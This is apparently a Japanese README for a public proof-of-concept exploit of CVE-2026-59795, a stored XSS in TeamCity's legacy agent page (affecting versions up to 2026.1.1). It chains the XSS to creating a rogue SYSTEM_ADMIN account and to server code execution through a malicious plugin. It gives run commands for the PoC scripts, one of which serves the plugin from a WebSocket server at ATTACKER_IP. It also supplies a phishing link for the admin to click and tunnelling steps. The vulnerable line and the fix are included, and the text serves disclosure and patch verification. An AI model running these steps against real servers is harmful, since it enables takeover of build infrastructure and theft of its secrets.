
TeamCity のレガシーなエージェント詳細ページにおける未認証のスタンドアロン XSS で、再起動なしにサーバー RCE へエスカレートします。攻撃者は悪意のある os.name を持つビルドエージェントを(認証情報なしで)登録し、管理者にそのエージェントの詳細ページを閲覧させます。ペイロードは管理者の認証済みセッションで実行され、SYSTEM_ADMIN アカウントの作成や悪意のあるプラグインのアップロードと読み込みが可能です。
| CVE | CVE-2026-59795 |
| 影響範囲 | TeamCity <= 2026.1.1 (build 222577) |
| 修正済み | 2026.1.2 (222647), 2025.11.6 (208214) |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| 種類 | スタンドアロン XSS (CWE-79)、SYSTEM_ADMIN 乗っ取りおよび RCE へ連鎖可能 |
| 必要な認証 | ペイロードの設置には不要 |
トリガー: 管理者が悪意のあるエージェントを閲覧します。デフォルトの Sakura UI では、細工された &fromSakuraUI=true リンクをワンクリックする方法、または管理者がクラシック UI を使用している場合(ユーザーごとの「Use Sakura UI」が未チェック、もしくはサーバー全体がクラシックモード)は、通常の承認ワークフローで保留中のエージェントを開くだけで、フィッシングすら不要です。
webapps/ROOT/agent/agentSummary.jsp が、エージェントから報告された OS 名をエスケープせずにレンダリングします:
<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>
完全な解説(スクリーンショットと背景を含む): https://joakimbulow.com/posts/cve-2026-59795/
数行上の兄弟エージェント名は <c:out> を使用しており、この省略が偶発的なものであることを裏付けている。operatingSystemName は完全に攻撃者の制御下にある。認証されていないエージェントが登録時にこれを設定し(POST /app/agents/v1/register の osName 属性)、サーバーはそれをそのまま保存してエコーバックする。
Sakura React UI は osName を正しくエスケープし、通常はレガシーページからリダイレクトするが、以下の場合にはリダイレクトがスキップされ(エスケープされていない JSP がレンダリングされ)る:
?fromSakuraUI=true を付けてエージェントを開いた場合(リダイレクトタグ自体のバイパスフラグ)、またはteamcity.ui.experimental=disableDefault、またはユーザーごとの「Use Sakura UI」オプトアウト)、または実際に確認済み:
alert(document.domain) をポップさせる(副作用なし)。SYSTEM_ADMIN アカウントを作成する(RCE なし)。/admin/pluginUpload.html にプラグインをアップロードし、/admin/plugins.html(EnableAllPlugins)経由で有効化する。これにより、再起動なしで攻撃者の Java が実行中の TeamCity JVM に読み込まれる。管理者のクリックから 4 秒後にサーバーホスト上に書き込まれた証明ファイルによって検証済み。agentSummary.jsp で出力をエスケープする:
<strong><c:out value="${agent.operatingSystemName}"/></strong>
(上の行の agent.version フィールドにも同じ問題があり、同じ修正が必要です。)
GET /update/buildAgent.zipjavac。RCE PoC にのみ必要curl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent
conf/buildAgent.properties を手動で編集する必要はありません。以下の各 PoC は --url/--tc-url 引数から serverUrl を設定し、実行ごとにエージェント名を書き換えるため、同じ解凍済みの evilagent/ ディレクトリを繰り返し安全に再利用できます。
./poc/)これらを順番に実行してください。各 PoC は前のものより大きな影響を確認します。
1. alert_only.py、XSS を確認、副作用ゼロ。 osName が alert(document.domain) をポップアップするエージェントを仕込みます。アカウントは作成されず、コードも実行されません。
python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent
2. attacker_deeplink.py、XSSからSYSTEM_ADMINへの乗っ取り、RCEなし。 同じ仕込みですが、ペイロードはSYSTEM_ADMINアカウント(eviladmin / Ev1l-Pass-123)を作成し、そのアカウントでログインできるようになるまでポーリングします。
python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent
3. rce_ws_server.py、フルチェーン、XSSからプラグインアップロードを経てRCEまで、単一ターミナル。 プラグインをビルドし、悪意あるエージェントとWebSocketサーバーを起動して、フィッシングリンクを出力します。管理者がそれを閲覧すると、XSSが発火し、WSサーバーがプラグインを配信し、プラグインがアップロードされて有効化され、TeamCityが実行時にそれをロードします。
python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
--tc-url https://teamcity.example.com --agent-dir ./evilagent
各PoCは次のようなリンクを出力します:
https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true
それを管理者に送信します(Sakura UI、ワンクリック)。あるいは、管理者がすでにクラシックUIを使用している場合は、特別なパラメータを付けずに agentDetails.html?id=N を指定するだけで済みます。たとえば、通常の保留中エージェントのレビューフロー経由で行います。
管理者がクリックしてから数秒以内に、TeamCityサーバーホスト上で:
cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user: <tc-process-user>
host: <hostname>
java: <java-version>
cwd: <teamcity-bin-dir>
time: <timestamp>
管理者のブラウザから攻撃者マシンに直接到達できない場合、たとえば SSH トンネル経由でしかターゲットに到達できない場合は、rce_prepare.py を使って自分のマシン上でプラグインとエージェントをビルドし、その後 poc/ws_serve.py とビルド済みのプラグイン ZIP を TeamCity ホストに転送して、そこから配信します:
# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
--ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip
# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337
TeamCityに到達するために使用するのと同じトンネルでWebSocketポートを転送し(-L 1337:localhost:1337)、管理者のブラウザがws://localhost:1337として到達できるようにします。
クリーンアップに関する注意:実行するたびに新しく名前が付けられたエージェントが登録されるため、繰り返し実行しても衝突は発生しませんが、実行ごとに未承認のエージェントが1つ残ります。テスト後はAgents -> Unauthorizedでそれらを削除してください。
| ファイル | 目的 |
|---|---|
poc/alert_only.py | トリアージ手順1、無害なalert()でXSSを確認 |
poc/attacker_deeplink.py | トリアージ手順2、XSSからSYSTEM_ADMINの乗っ取りへ |
poc/rce_ws_server.py | トリアージ手順3、XSSからアップロードを経てRCEに至る完全なチェーン、単一ターミナル |
poc/rce_prepare.py | 同じRCEチェーンを分割し、WebSocketサーバーをターゲットホスト上で実行できるようにしたもの(トンネル構成向け) |
poc/ws_serve.py | rce_prepare.pyの分割構成で使用されるスタンドアロンのWebSocketファイルサーバー |
poc/poclib.py | 共有ヘルパー:悪意あるエージェントを設定して起動 |
poc/payloads.txt | 生のXSSペイロードのバリエーション(alert、スペースなし、create-admin) |
| 日付 | 出来事 |
|---|---|
| 2026-06-15 | 報告 |
| 2026-06-15 | 受領確認 |
| 2026-06-17 | 修正 |
| 2026-07-01 | 修正版リリース、2026.1.2 (222647) および 2025.11.6 (208214) |
| 2026-07-10 | CVE公開 |
| 2026-11-03 | POC公開 |